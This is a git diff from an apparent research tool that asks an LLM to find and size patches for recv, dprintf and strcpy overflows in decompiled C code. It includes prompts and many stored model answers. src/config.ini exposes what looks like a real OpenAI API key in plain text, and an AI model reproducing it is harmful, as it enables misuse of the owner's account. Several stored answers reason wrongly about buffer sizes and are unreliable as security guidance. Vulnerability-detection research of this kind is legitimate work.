+# if __name__ == '__main__':
+# # #   argv = sys.argv
+# # #   argc = len(sys.argv)
+#   lief_binary, pwn_binary = load_binary_file_information("../input/edit")
+#   print(lief_binary)
+#   print(pwn_binary)
+#   patch_strcpy(lief_binary, 256, "../output/edit_patch/edit")

src/config.ini

@@ -1,5 +1,5 @@
 [LLM]
-model = gpt-3.5-turbo
+model = gpt-4o
 api_key = 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
 api_base = https://api.openai.com/v1/
 

src/output/dprintf_extract/patch_dprintf.json

@@ -1,46 +1,46 @@
 [
     {
-        "file_path": "/root/LLM_prompt/output//dprintf_extract/patch_dprintf.json",
-        "vul_info": " there is a dprintf format string vulnerability in the echo_handler function. The vulnerability lies in the line `dprintf(sock, buffer)`, where the buffer is being passed as the format string to the dprintf function without proper formatting. This can potentially lead to a format string vulnerability."
+        "file_path": "dprintf_extract.c",
+        "vul_info": [
+            "Yes, there is a format string vulnerability in the `echo_handler` function. The vulnerability arises from the use of `dprintf(sock, buffer)` where `buffer` is directly passed as the format string. Since `buffer` contains data received from the network via the `recv` function, an attacker can send a specially crafted string to exploit this vulnerability.\n\nFormat string vulnerabilities occur when user-controlled input is used as the format string in functions like `printf`, `dprintf`, `sprintf`, etc., without proper validation or sanitization. This can lead to various security issues, including reading from or writing to arbitrary memory locations, depending on the format specifiers used by the attacker.\n\nIn this case, an attacker could send a format string containing `%x`, `%s`, or other format specifiers to potentially read memory contents or cause other unintended behavior. To mitigate this vulnerability, user input should not be used directly as a format string. Instead, a fixed format string should be used, and user input should be passed as an argument, like `dprintf(sock, \"%s\", buffer)`."
+        ]
     },
     {
         "file_path": "dprintf_extract.c",
-        "vul_info": " there is a dprintf format string vulnerability in the echo_handler function. The vulnerability lies in the line `dprintf(sock, buffer)`, where the buffer is being passed as the format string to dprintf without proper formatting. This can potentially lead to a format string vulnerability."
+        "vul_info": [
+            "Yes, the program contains a format string vulnerability in the `echo_handler` function. The vulnerability arises from the use of `dprintf(sock, buffer)` where `buffer` is directly used as the format string. Since `buffer` is populated with data received from the network via `recv(sock, buffer, 0x100uLL, 0)`, an attacker can send a specially crafted string to exploit this vulnerability.\n\nIf the attacker sends format specifiers (like `%x`, `%s`, etc.) in the data, they can potentially read memory contents or cause other unintended behavior, such as writing to memory if `%n` is used. This vulnerability is particularly dangerous because it can lead to arbitrary code execution, especially if combined with other vulnerabilities or if the attacker can control the stack or memory layout.\n\nTo mitigate this vulnerability, the `dprintf` call should be modified to specify a format string explicitly, such as `dprintf(sock, \"%s\", buffer)`, to prevent the user-controlled data from being interpreted as a format string."
+        ]
     },
     {
         "file_path": "dprintf_extract.c",
-        "vul_info": " there is a dprintf format string vulnerability in the echo_handler function. The vulnerability lies in the line `dprintf(sock, buffer)`, where the buffer is passed as the format string to the dprintf function without proper formatting. This can potentially lead to a format string vulnerability."
+        "vul_info": [
+            "Yes, the program contains a format string vulnerability in the `echo_handler` function. The vulnerability arises from the use of `dprintf(sock, buffer)` where `buffer` is directly used as the format string. Since `buffer` is populated with data received from the network via the `recv` function, an attacker can send a specially crafted string to exploit this vulnerability.\n\nIf an attacker sends format specifiers (like `%s`, `%x`, `%n`, etc.) in the data received into `buffer`, these will be interpreted by `dprintf` as format specifiers rather than as plain text. This can lead to various issues, including reading unintended memory locations or writing to memory if `%n` is used, potentially leading to arbitrary code execution.\n\nTo mitigate this vulnerability, the format string should be specified explicitly, for example by using `dprintf(sock, \"%s\", buffer)`, which treats `buffer` as a string to be printed rather than a format string."
+        ]
     },
     {
         "file_path": "dprintf_extract.c",
-        "vul_info": " there is a dprintf format string vulnerability in the echo_handler function. The vulnerability lies in the line `dprintf(sock, buffer)`, where the buffer is being passed as the format string to dprintf without proper formatting. This can potentially lead to a format string vulnerability."
+        "vul_info": [
+            "Yes, the program contains a dprintf format string vulnerability. The vulnerability is present in the `echo_handler` function, specifically in the line:\n\n```c\ndprintf(sock, buffer)\n```\n\nHere, `buffer` is directly passed as the format string to `dprintf` without any format specifiers. Since `buffer` is filled with data received from the network via the `recv` function, an attacker can send a specially crafted string containing format specifiers (like `%x`, `%s`, `%n`, etc.) to exploit this vulnerability.\n\nThis can lead to various security issues, such as reading arbitrary memory locations, crashing the program, or even executing arbitrary code, depending on the context and the specific format specifiers used by the attacker."
+        ]
     },
     {
         "file_path": "dprintf_extract.c",
-        "vul_info": " there is a dprintf format string vulnerability in the echo_handler function. The vulnerability lies in the line `dprintf(sock, buffer)`, where the buffer is directly passed as the format string to the dprintf function without proper formatting. This can potentially lead to a format string vulnerability."
+        "vul_info": []
     },
     {
         "file_path": "dprintf_extract.c",
-        "vul_info": " there is a dprintf format string vulnerability in the echo_handler function. The vulnerability lies in the line `dprintf(sock, buffer)`, where the buffer is passed as the format string to the dprintf function without proper formatting. This can lead to a format string vulnerability, allowing an attacker to potentially read or write arbitrary memory locations."
+        "vul_info": []
     },
     {
         "file_path": "dprintf_extract.c",
-        "vul_info": " there is a dprintf format string vulnerability in the echo_handler function. The vulnerability lies in the line `dprintf(sock, buffer)`, where the buffer is passed as the format string to dprintf without proper formatting. This can potentially lead to a format string attack."
+        "vul_info": []
     },
     {
         "file_path": "dprintf_extract.c",
-        "vul_info": " there is a dprintf format string vulnerability in the echo_handler function. The vulnerability lies in the line `dprintf(sock, buffer)`, where the buffer is being passed as the format string to the dprintf function without proper formatting. This can potentially lead to a format string vulnerability."
+        "vul_info": []
     },
     {
         "file_path": "dprintf_extract.c",
-        "vul_info": " there is a dprintf format string vulnerability in the echo_handler function. The vulnerability lies in the line `dprintf(sock, buffer)`, where the buffer variable is directly passed as the format string to the dprintf function without any format specifier. This can potentially lead to a format string vulnerability if an attacker controls the input in the buffer variable."
-    },
-    {
-        "file_path": "dprintf_extract.c",
-        "vul_info": " the program contains a dprintf format string vulnerability in the echo_handler function. The vulnerability lies in the line `dprintf(sock, buffer)`, where the buffer variable is directly passed as the format string to the dprintf function without proper formatting. This can allow an attacker to exploit the format string vulnerability and potentially execute arbitrary code."
-    },
-    {
-        "file_path": "dprintf_extract.c",
-        "vul_info": " the program contains a dprintf format string vulnerability in the echo_handler function. The vulnerability lies in the line `dprintf(sock, buffer)`, where the buffer is directly passed as the format string to the dprintf function without proper formatting. This can potentially lead to a format string vulnerability if an attacker can control the contents of the buffer."
+        "vul_info": []
     }
 ]

src/output/dprintf_extract/patch_recv.json

@@ -1,80 +0,0 @@
-[
-    {
-        "file_name": "dprintf_extract.c",
-        "vul_info": " reason: The recv function in the echo_handler function does not check the size of the buffer before writing data to it. The buffer size is 256 bytes, but the recv function is writing up to 0x100 bytes (256 bytes) to the buffer, which can lead to a buffer overflow vulnerability.",
-        "fix_size": 248,
-        "patch_info": "In the echo_handler function, the buffer size is 256 bytes, but only 248 bytes are being used for the recv function (starting from buffer[8]). This leaves 8 bytes unused, which could potentially lead to a buffer overflow if the recv function receives more than 248 bytes of data. To ensure the program works safely, the recv function should be prepared to receive a maximum of 248 bytes of data."
-    },
-    {
-        "file_name": "dprintf_extract.c",
-        "vul_info": " reason: The recv function in the echo_handler function does not check the size of the buffer before writing data to it. This can lead to a buffer overflow vulnerability if the data received is larger than the size of the buffer (256 bytes). An attacker could potentially exploit this vulnerability to overwrite memory beyond the buffer and execute arbitrary code.",
-        "fix_size": 248,
-        "patch_info": "In the echo_handler function, the buffer size is 256 bytes. However, only 248 bytes are being used for the recv function (buffer[8] to buffer[255]). This leaves 8 bytes at the beginning of the buffer unused, which could potentially lead to a buffer overflow if the recv function receives more than 248 bytes of data."
-    },
-    {
-        "file_name": "dprintf_extract.c",
-        "vul_info": " reason: The recv function in the echo_handler function does not check the size of the buffer being used. It receives data into the buffer starting from index 8, which could potentially lead to a buffer overflow if the received data is larger than the allocated buffer size.",
-        "fix_size": 248,
-        "patch_info": "The buffer size should be 248 bytes to account for the 8 bytes offset in the buffer index (&buffer[8]) in the recv function call. This will prevent buffer overflow and ensure the program works safely."
-    },
-    {
-        "file_name": "dprintf_extract.c",
-        "vul_info": " reason: The recv function in the echo_handler function does not check the size of the buffer being passed to it. It receives data into the buffer starting from index 8, which could potentially lead to a buffer overflow if more data than the allocated buffer size is received.",
-        "fix_size": 248,
-        "patch_info": "The buffer size should be 248 bytes to account for the 8 bytes offset in the buffer array. This will prevent buffer overflow when using recv."
-    },
-    {
-        "file_name": "dprintf_extract.c",
-        "vul_info": " reason: The recv function in the echo_handler function does not check the size of the buffer being passed to it, which can lead to a buffer overflow if the data received is larger than the buffer size of 256 bytes. This can potentially overwrite adjacent memory locations and lead to security vulnerabilities.",
-        "fix_size": 255,
-        "patch_info": "The buffer size should be set to 255 to ensure that there is enough space for the received data and to prevent buffer overflow. The buffer size is set to 256 in the code, but since strings in C are null-terminated, the last byte should be reserved for the null terminator."
-    },
-    {
-        "file_name": "dprintf_extract.c",
-        "vul_info": " reason: The recv function in the echo_handler function reads up to 256 bytes into the buffer array, which is only 256 bytes in size. If more than 256 bytes are received, a buffer overflow could occur, leading to potential security vulnerabilities.",
-        "fix_size": 255,
-        "patch_info": "The buffer size should be set to 255 to ensure that there is enough space for the received data and to prevent buffer overflow. The buffer size is set to 256 in the code, but since strings in C are null-terminated, the last byte should be reserved for the null terminator."
-    },
-    {
-        "file_name": "dprintf_extract.c",
-        "vul_info": " reason: The recv function in the echo_handler function reads data into the buffer array without checking the size of the data being received. This can lead to a buffer overflow if the data received is larger than the size of the buffer (256 bytes).",
-        "fix_size": 255,
-        "patch_info": "The buffer size should be set to 255 to ensure that there is enough space for the received data and to prevent buffer overflow. The buffer size is set to 256 in the code, but since strings in C are null-terminated, the last byte should be reserved for the null terminator."
-    },
-    {
-        "file_name": "dprintf_extract.c",
-        "vul_info": " the program contains a risk of buffer overflow in the recv function. \n\nThe recv function is called with the buffer array as the second argument and a size of 0x100uLL (256 in decimal) as the third argument. However, the buffer array is only 256 bytes in size, which means that if more than 256 bytes are received from the socket, a buffer overflow could occur.\n\nTo mitigate this risk, the size of the buffer should be increased to accommodate the maximum amount of data that could be received from the socket.",
-        "fix_size": 255,
-        "patch_info": "The buffer size is declared as 256 bytes, so the maximum size for recv should be 255 to prevent buffer overflow. This leaves one byte for the null terminator."
-    },
-    {
-        "file_name": "dprintf_extract.c",
-        "vul_info": " reason: The recv function in the echo_handler function reads up to 256 bytes into the buffer variable, which is only allocated 256 bytes of space. This means that if more than 256 bytes are received, a buffer overflow could occur.",
-        "fix_size": 255,
-        "patch_info": "The buffer size should be set to 255 to account for the null terminator at the end of the buffer. This ensures that there is enough space to store the received data without causing a buffer overflow."
-    },
-    {
-        "file_name": "dprintf_extract.c",
-        "vul_info": " reason: The recv function in the echo_handler function does not check the size of the input buffer before reading data into it, which can lead to a buffer overflow vulnerability. The buffer size is defined as 256 bytes, but the recv function reads up to 0x100 bytes (256 bytes) into the buffer without checking if the input data exceeds the buffer size. This can potentially overwrite adjacent memory locations and lead to a buffer overflow.",
-        "fix_size": 255,
-        "patch_info": "The buffer size should be set to 255 to ensure that there is enough space to store the received data from the socket without causing a buffer overflow. The buffer size of 256 in the code snippet leaves only 1 byte for the null terminator, which may not be sufficient to prevent buffer overflow."
-    },
-    {
-        "file_name": "dprintf_extract.c",
-        "vul_info": " the program contains the risk of buffer overflow in the recv function. The recv function is used to receive data from a socket into the buffer array, but the size of the buffer is fixed at 256 bytes. If the data received from the socket is larger than 256 bytes, it can lead to a buffer overflow vulnerability.",
-        "fix_size": 255,
-        "patch_info": "The buffer size in the echo_handler function is 256 bytes, so the maximum size for recv should be 255 bytes to prevent buffer overflow. This leaves one byte for the null terminator."
-    },
-    {
-        "file_name": "dprintf_extract.c",
-        "vul_info": " reason: The recv function in the echo_handler function reads up to 256 bytes into the buffer array, which is only allocated 256 bytes. This means that if more than 256 bytes are received, a buffer overflow can occur.",
-        "fix_size": 255,
-        "patch_info": "The buffer size should be set to 255 to ensure that there is enough space for the received data as recv function reads up to the specified size - 1 bytes and adds a null terminator at the end. This prevents buffer overflow and ensures the program works safely."
-    },
-    {
-        "file_name": "dprintf_extract.c",
-        "vul_info": " reason: The recv function in the echo_handler function does not check the size of the buffer being passed to it, which can lead to a buffer overflow if the data received is larger than the buffer size of 256 bytes.",
-        "fix_size": 255,
-        "patch_info": "The buffer size should be set to 255 to ensure that there is enough space to store the received data without causing a buffer overflow. The buffer size is set to 256 in the code, but since strings in C are null-terminated, only 255 characters can be safely stored in the buffer to prevent overflow."
-    }
-]

src/output/recv_extract/patch_recv.json

@@ -1,44 +1,222 @@
 [
     {
         "file_name": "recv_extract.c",
-        "vul_info": " reason: The recv function in the echo_handler function does not check the size of the buffer before writing data to it, which can lead to a buffer overflow vulnerability. The buffer size is 256 bytes, but the recv function is writing data starting from buffer[8], potentially allowing for more data to be written than the buffer can hold.",
+        "vul_info": [
+            "Yes, the `recv` function in the `echo_handler` function contains a risk of overflow. The `recv` function is called with a buffer size of `0x400` (1024 bytes), but the `buffer` array is only 256 bytes in size. This means that if more than 256 bytes are received, it will overflow the buffer, potentially overwriting adjacent memory and leading to undefined behavior or security vulnerabilities."
+        ],
         "fix_size": 256,
-        "patch_info": "In the echo_handler function, the buffer size is set to 256 bytes. Therefore, when using recv to receive data from the socket, the program should be prepared to handle up to 256 bytes of data to prevent buffer overflow."
+        "patch_info": "the size specified for the `recv` function should not exceed the size of the buffer. The buffer is defined as `char buffer[256];`, which means it can hold up to 256 bytes."
     },
     {
         "file_name": "recv_extract.c",
-        "vul_info": " reason: The recv function in the echo_handler function does not check the size of the buffer being passed to it. It receives data into the buffer starting from index 8, which could potentially lead to a buffer overflow if the received data is larger than the allocated buffer size.",
+        "vul_info": [
+            "Yes, the `recv` function in the `echo_handler` function contains a risk of overflow. The `recv` function is called with a buffer size of `0x400` (1024 bytes), but the `buffer` array is only 256 bytes in size. This means that if more than 256 bytes are received, it will overflow the buffer, potentially overwriting adjacent memory and leading to undefined behavior or security vulnerabilities."
+        ],
         "fix_size": 256,
-        "patch_info": "In the echo_handler function, the buffer size is set to 256 bytes. Therefore, when using recv to receive data from the socket, the program should be prepared to handle up to 256 bytes of data to prevent buffer overflow."
+        "patch_info": "you should limit the size of the data received by `recv` to the size of the buffer. The buffer is defined as `char buffer[256];`, which means it can hold up to 256 bytes."
     },
     {
         "file_name": "recv_extract.c",
-        "vul_info": " reason: The recv function in the echo_handler function does not check the size of the buffer before copying data into it, which can lead to a buffer overflow vulnerability. The buffer size is 256 bytes, but the recv function is copying data into buffer starting from index 8, potentially allowing more data to be copied than the buffer can hold.",
+        "vul_info": [
+            "Yes, the `recv` function in the `echo_handler` function contains a risk of overflow. The `recv` function is called with a buffer size of `0x400` (1024 bytes), but the `buffer` array is only 256 bytes in size. This means that if more than 256 bytes are received, it will overflow the buffer, potentially overwriting adjacent memory and leading to undefined behavior or security vulnerabilities."
+        ],
         "fix_size": 256,
-        "patch_info": "In the echo_handler function, the buffer size is set to 256 bytes. Therefore, when using recv to receive data from the socket, the program should be prepared to handle up to 256 bytes of data to avoid buffer overflow."
+        "patch_info": "which is larger than the allocated size of the `buffer` array (256 bytes). To ensure the program works safely without causing a buffer overflow, the size passed to `recv` should not exceed the size of the `buffer`."
     },
     {
         "file_name": "recv_extract.c",
-        "vul_info": " reason: The recv function in the echo_handler function does not check the size of the buffer before copying data into it. This can lead to a buffer overflow vulnerability if the data received is larger than the size of the buffer (256 bytes). An attacker could potentially exploit this vulnerability to overwrite memory beyond the buffer and execute malicious code.",
-        "fix_size": 248,
-        "patch_info": "The buffer size should be reduced by 8 to account for the offset used in recv to prevent buffer overflow."
+        "vul_info": [
+            "Yes, the `recv` function in the `echo_handler` function contains a risk of overflow. The `recv` function is called with a buffer size of `0x400` (1024 bytes), but the `buffer` array is only 256 bytes in size. This means that if more than 256 bytes are received, it will overflow the buffer, potentially overwriting adjacent memory and leading to undefined behavior or security vulnerabilities."
+        ],
+        "fix_size": 256,
+        "patch_info": "which attempts to read up to `0x400` (1024) bytes into a buffer that is only 256 bytes in size. To ensure the program works safely, the size specified in the `recv` call should not exceed the size of the buffer."
     },
     {
         "file_name": "recv_extract.c",
-        "vul_info": " reason: The recv function in the echo_handler function does not check the size of the buffer before copying data into it, which can lead to a buffer overflow vulnerability. The buffer size is 256 bytes, but the recv function is copying up to 0x400 bytes into the buffer starting from index 8, potentially overwriting memory beyond the buffer boundaries.",
-        "fix_size": 248,
-        "patch_info": "The buffer size should be reduced by 8 bytes to account for the offset of 8 in the recv function call. This will prevent buffer overflow and ensure the program works safely."
+        "vul_info": [
+            "Yes, the `recv` function in the `echo_handler` function contains a risk of overflow. The `recv` function is called with a buffer size of `0x400` (1024 bytes), but the `buffer` array is only 256 bytes in size. This means that if more than 256 bytes are received, it will overflow the buffer, potentially overwriting adjacent memory and leading to undefined behavior or security vulnerabilities."
+        ],
+        "fix_size": 256,
+        "patch_info": "the size parameter for `recv` should not exceed the size of the `buffer`."
     },
     {
         "file_name": "recv_extract.c",
-        "vul_info": " reason: The recv function in the echo_handler function does not check the size of the buffer being passed to it, which can lead to a buffer overflow vulnerability if the data received is larger than the buffer size of 256 bytes.",
+        "vul_info": [
+            "Yes, the program contains a vulnerability in the `recv` function. The `recv` function in the `echo_handler` function is called with a buffer size of `0x400` (1024) bytes, but the `buffer` is only 256 bytes in size. This discrepancy can lead to a buffer overflow if more than 256 bytes are received, potentially overwriting adjacent memory and leading to undefined behavior or exploitation."
+        ],
         "fix_size": 255,
-        "patch_info": "The buffer size should be set to 255 to ensure that there is enough space to store the received data from the client without causing a buffer overflow. The buffer size should always be one less than the actual size to account for the null terminator."
+        "patch_info": "you should limit the size of data received by the `recv` function to the size of the `buffer` array. The `buffer` is defined as an array of 256 bytes. Therefore, the maximum size you should specify for `recv` is 255 bytes to leave space for the null terminator, ensuring the buffer is properly null-terminated when used as a string."
     },
     {
         "file_name": "recv_extract.c",
-        "vul_info": " the program contains a risk of buffer overflow in the recv function. The recv function is called with a buffer size of 0x400 (1024 bytes), but the buffer allocated in the echo_handler function is only 256 bytes. This means that if the recv function receives more than 256 bytes of data, it will overflow the buffer and potentially overwrite other memory areas.",
+        "vul_info": [
+            "Yes, the program contains a vulnerability in the `recv` function. The `recv` function in the `echo_handler` function is called with a buffer size of `0x400` (1024) bytes, but the `buffer` is only 256 bytes in size. This discrepancy can lead to a buffer overflow if more than 256 bytes are received, potentially overwriting adjacent memory and leading to undefined behavior or exploitation."
+        ],
+        "fix_size": 256,
+        "patch_info": "while the buffer `buffer` is only 256 bytes in size. To ensure the program works safely, the size parameter in the `recv` function should be limited to the size of the buffer to prevent overflow."
+    },
+    {
+        "file_name": "recv_extract.c",
+        "vul_info": [
+            "Yes, the program contains a vulnerability in the `recv` function. The `recv` function in the `echo_handler` function is called with a buffer size of `0x400` (1024) bytes, but the `buffer` is only 256 bytes in size. This discrepancy can lead to a buffer overflow if more than 256 bytes are received, potentially overwriting adjacent memory and leading to undefined behavior or exploitation."
+        ],
+        "fix_size": 256,
+        "patch_info": "you should limit the size of the data received to the size of the buffer. In the `echo_handler` function, the buffer is defined as `char buffer[256];`, which means it can safely hold 256 bytes."
+    },
+    {
+        "file_name": "recv_extract.c",
+        "vul_info": [
+            "Yes, the program contains a vulnerability in the `recv` function. The `recv` function in the `echo_handler` function is called with a buffer size of `0x400` (1024) bytes, but the `buffer` is only 256 bytes in size. This discrepancy can lead to a buffer overflow if more than 256 bytes are received, potentially overwriting adjacent memory and leading to undefined behavior or exploitation."
+        ],
+        "fix_size": 256,
+        "patch_info": "while the buffer `buffer` is only 256 bytes in size. To ensure the program works safely, you should limit the size of data received by `recv` to the size of the buffer."
+    },
+    {
+        "file_name": "recv_extract.c",
+        "vul_info": [
+            "Yes, the program contains a vulnerability in the `recv` function. The `recv` function in the `echo_handler` function is called with a buffer size of `0x400` (1024) bytes, but the `buffer` is only 256 bytes in size. This discrepancy can lead to a buffer overflow if more than 256 bytes are received, potentially overwriting adjacent memory and leading to undefined behavior or exploitation."
+        ],
+        "fix_size": 256,
+        "patch_info": "while the buffer `buffer` is only 256 bytes in size. To ensure the program works safely, the size passed to `recv` should not exceed the size of the buffer."
+    },
+    {
+        "file_name": "recv_extract.c",
+        "vul_info": [
+            "Yes, the `recv` function in the `echo_handler` function contains a risk of overflow. The `recv` function is called with a buffer size of `0x400` (1024) bytes, but the `buffer` is only 256 bytes in size. This discrepancy can lead to a buffer overflow if more than 256 bytes are received, potentially overwriting adjacent memory and leading to undefined behavior or security vulnerabilities."
+        ],
+        "fix_size": 256,
+        "patch_info": "which attempts to read up to 1024 bytes (`0x400uLL`) into a buffer that is only 256 bytes in size. To ensure the program works safely, the size parameter for `recv` should be limited to the size of the buffer, which is 256 bytes."
+    },
+    {
+        "file_name": "recv_extract.c",
+        "vul_info": [
+            "Yes, the `recv` function in the `echo_handler` function contains a risk of overflow. The `recv` function is called with a buffer size of `0x400` (1024) bytes, but the `buffer` is only 256 bytes in size. This discrepancy can lead to a buffer overflow if more than 256 bytes are received, potentially overwriting adjacent memory and leading to undefined behavior or security vulnerabilities."
+        ],
+        "fix_size": 256,
+        "patch_info": "which attempts to read up to `0x400` bytes (1024 bytes) into a buffer that is only 256 bytes in size. To ensure the program works safely and prevent buffer overflow, the `recv` call should be limited to the size of the buffer."
+    },
+    {
+        "file_name": "recv_extract.c",
+        "vul_info": [
+            "Yes, the `recv` function in the `echo_handler` function contains a risk of overflow. The `recv` function is called with a buffer size of `0x400` (1024) bytes, but the `buffer` is only 256 bytes in size. This discrepancy can lead to a buffer overflow if more than 256 bytes are received, potentially overwriting adjacent memory and leading to undefined behavior or security vulnerabilities."
+        ],
+        "fix_size": 256,
+        "patch_info": "you should limit the size of data received by the `recv` function to the size of the buffer. The buffer is defined as `char buffer[256];`, which means it can hold up to 256 bytes."
+    },
+    {
+        "file_name": "recv_extract.c",
+        "vul_info": [
+            "Yes, the `recv` function in the `echo_handler` function contains a risk of overflow. The `recv` function is called with a buffer size of `0x400` (1024) bytes, but the `buffer` is only 256 bytes in size. This discrepancy can lead to a buffer overflow if more than 256 bytes are received, potentially overwriting adjacent memory and leading to undefined behavior or security vulnerabilities."
+        ],
+        "fix_size": 256,
+        "patch_info": "but the buffer `buffer` is only 256 bytes in size. This discrepancy can lead to a buffer overflow if more than 256 bytes are received."
+    },
+    {
+        "file_name": "recv_extract.c",
+        "vul_info": [
+            "Yes, the `recv` function in the `echo_handler` function contains a risk of overflow. The `recv` function is called with a buffer size of `0x400` (1024) bytes, but the `buffer` is only 256 bytes in size. This discrepancy can lead to a buffer overflow if more than 256 bytes are received, potentially overwriting adjacent memory and leading to undefined behavior or security vulnerabilities."
+        ],
+        "fix_size": 256,
+        "patch_info": "but the buffer `buffer` is only 256 bytes in size. To ensure the program works safely and to prevent buffer overflow, the size passed to `recv` should not exceed the size of the buffer."
+    },
+    {
+        "file_name": "recv_extract.c",
+        "vul_info": [
+            "Yes, reason here: The `recv` function in the `echo_handler` function is vulnerable to a buffer overflow. The `recv` call attempts to read up to 1024 bytes (`0x400uLL`) into the `buffer` array, which is only 256 bytes in size. This discrepancy allows for a buffer overflow, as more data than the buffer can hold may be written to it, potentially leading to undefined behavior, including overwriting adjacent memory and possibly executing arbitrary code."
+        ],
+        "fix_size": 256,
+        "patch_info": "The `recv` function in the `echo_handler` is currently set to receive up to `0x400` (1024) bytes, which exceeds the size of the buffer `buffer[256]`. This can lead to a buffer overflow, as the buffer can only safely hold 256 bytes. To ensure the program works safely and to prevent buffer overflow, the size parameter in `recv` should be limited to the size of the buffer, which is 256 bytes."
+    },
+    {
+        "file_name": "recv_extract.c",
+        "vul_info": [
+            "Yes, reason here: The `recv` function in the `echo_handler` function is vulnerable to a buffer overflow. The `recv` call attempts to read up to 1024 bytes (`0x400uLL`) into the `buffer` array, which is only 256 bytes in size. This discrepancy allows for a buffer overflow, as more data than the buffer can hold may be written to it, potentially leading to undefined behavior, including overwriting adjacent memory and possibly executing arbitrary code."
+        ],
+        "fix_size": 256,
+        "patch_info": "but `recv` is called with a size of 0x400 (1024) bytes, which can lead to a buffer overflow if more than 256 bytes are received."
+    },
+    {
+        "file_name": "recv_extract.c",
+        "vul_info": [
+            "Yes, reason here: The `recv` function in the `echo_handler` function is vulnerable to a buffer overflow. The `recv` call attempts to read up to 1024 bytes (`0x400uLL`) into the `buffer` array, which is only 256 bytes in size. This discrepancy allows for a buffer overflow, as more data than the buffer can hold may be written to it, potentially leading to undefined behavior, including overwriting adjacent memory and possibly executing arbitrary code."
+        ],
+        "fix_size": 256,
+        "patch_info": "but the buffer `buffer` is only 256 bytes in size. This creates a risk of buffer overflow, as more data than the buffer can hold might be received."
+    },
+    {
+        "file_name": "recv_extract.c",
+        "vul_info": [
+            "Yes, reason here: The `recv` function in the `echo_handler` function is vulnerable to a buffer overflow. The `recv` call attempts to read up to 1024 bytes (`0x400uLL`) into the `buffer` array, which is only 256 bytes in size. This discrepancy allows for a buffer overflow, as more data than the buffer can hold may be written to it, potentially leading to undefined behavior, including overwriting adjacent memory and possibly executing arbitrary code."
+        ],
+        "fix_size": 256,
+        "patch_info": "which attempts to read up to `0x400` (1024) bytes into a buffer that is only 256 bytes in size. To ensure the program works safely, the size parameter in the `recv` call should be limited to the size of the buffer to prevent overflow."
+    },
+    {
+        "file_name": "recv_extract.c",
+        "vul_info": [
+            "Yes, reason here: The `recv` function in the `echo_handler` function is vulnerable to a buffer overflow. The `recv` call attempts to read up to 1024 bytes (`0x400uLL`) into the `buffer` array, which is only 256 bytes in size. This discrepancy allows for a buffer overflow, as more data than the buffer can hold may be written to it, potentially leading to undefined behavior, including overwriting adjacent memory and possibly executing arbitrary code."
+        ],
+        "fix_size": 256,
+        "patch_info": "you should limit the size of the data received by `recv` to the size of the buffer. The buffer is defined as `char buffer[256];`, so the maximum size that should be prepared for `recv` is 256 bytes."
+    },
+    {
+        "file_name": "recv_extract.c",
+        "vul_info": [],
+        "fix_size": 256,
+        "patch_info": "which exceeds the size of the `buffer` array (256 bytes). This can lead to a buffer overflow vulnerability."
+    },
+    {
+        "file_name": "recv_extract.c",
+        "vul_info": [],
         "fix_size": 255,
-        "patch_info": "The buffer size should be set to 255 to ensure that there is enough space for the received data plus a null terminator. This will prevent buffer overflow and ensure the program works safely."
+        "patch_info": "you should limit the size of data received by the `recv` function to the size of the buffer. The buffer is defined as `char buffer[256];`, so the maximum safe size for `recv` should be 255 bytes to leave room for the null terminator."
+    },
+    {
+        "file_name": "recv_extract.c",
+        "vul_info": [],
+        "fix_size": 256,
+        "patch_info": "you should ensure that the size of the data received does not exceed the size of the buffer. In the `echo_handler` function, the buffer is defined as `char buffer[256];`, which means it can hold up to 256 bytes."
+    },
+    {
+        "file_name": "recv_extract.c",
+        "vul_info": [],
+        "fix_size": 256,
+        "patch_info": "but `recv` is called with a size of 0x400 (1024) bytes, which exceeds the buffer capacity."
+    },
+    {
+        "file_name": "recv_extract.c",
+        "vul_info": [],
+        "fix_size": 256,
+        "patch_info": "which attempts to read up to `0x400` (1024) bytes into a buffer that is only 256 bytes in size. To prevent a buffer overflow, the `recv` function should be limited to the size of the buffer."
+    },
+    {
+        "file_name": "recv_extract.c",
+        "vul_info": [],
+        "fix_size": 256,
+        "patch_info": "you should ensure that the size of data received does not exceed the size of the buffer. In the `echo_handler` function, the buffer is defined as `char buffer[256];`, which means it can hold up to 256 bytes."
+    },
+    {
+        "file_name": "recv_extract.c",
+        "vul_info": [],
+        "fix_size": 256,
+        "patch_info": "but `recv` is called with a size of 0x400 (1024) bytes, which can lead to a buffer overflow if more than 256 bytes are received."
+    },
+    {
+        "file_name": "recv_extract.c",
+        "vul_info": [],
+        "fix_size": 255,
+        "patch_info": "you should limit the size of data received to match the buffer size. The buffer `buffer` is declared with a size of 256 bytes. Therefore, the `recv` call should be limited to 255 bytes to leave space for the null terminator."
+    },
+    {
+        "file_name": "recv_extract.c",
+        "vul_info": [],
+        "fix_size": 256,
+        "patch_info": "you should limit the size of data received to the size of the buffer. In the `echo_handler` function, the buffer is defined as `char buffer[256];`, which means it can safely hold up to 256 bytes."
+    },
+    {
+        "file_name": "recv_extract.c",
+        "vul_info": [],
+        "fix_size": 255,
+        "patch_info": "you should limit the size of the data received by the `recv` function to the size of the buffer. The buffer is declared as `char buffer[256];`, so the maximum safe size for `recv` should be 255 bytes to leave room for the null terminator."
     }
 ]

src/output/recv_extract/recv

@@ -1,8 +0,0 @@
-[
-    {
-        "file_name": "recv_extract.c",
-        "vul_info": " reason: The recv function in the echo_handler function does not check the size of the buffer before writing data to it, which can lead to a buffer overflow vulnerability. The buffer size is 256 bytes, but the recv function is writing data starting from buffer[8], potentially allowing for more data to be written than the buffer can hold.",
-        "fix_size": 248,
-        "patch_info": "The buffer size should be reduced by 8 bytes to account for the offset used in recv function (&buffer[8]). This will prevent buffer overflow and ensure the program works safely."
-    }
-]

src/prompt.json

@@ -12,7 +12,7 @@
         "name": "strcpy",
         "prompt": {
             "role": "user",
-            "content": "Please analyze the following code to determine if the strcpy used in the program poses a risk of buffer overflow. If it actually exists then answer with 'yes, reason here', or else output 'no strcpy vulnerability'.\n{code}"
+            "content": "Please analyze the following code to determine if the strcpy used in the program poses a risk of overflow. If it actually exists then answer with 'yes, reason here', or else output 'no strcpy vulnerability'.\n{code}"
         }
     },
     {
@@ -28,7 +28,7 @@
         "name": "strcpy",
         "prompt": {
             "role": "user",
-            "content": "According to struct Node info determine how many size should I set for strncpy which will be used to replace strcpy and only consider add function. Answer with 'size=value(decimal), ', and then give me the reason.\n{code}"
+            "content": "how many size should I set for strncpy in add function which will be used to replace strcpy. Answer with 'size=value(decimal), ', and then give me the reason.\n{code}"
         }
     },
     {
@@ -36,7 +36,7 @@
         "name": "recv",
         "prompt": {
             "role": "user",
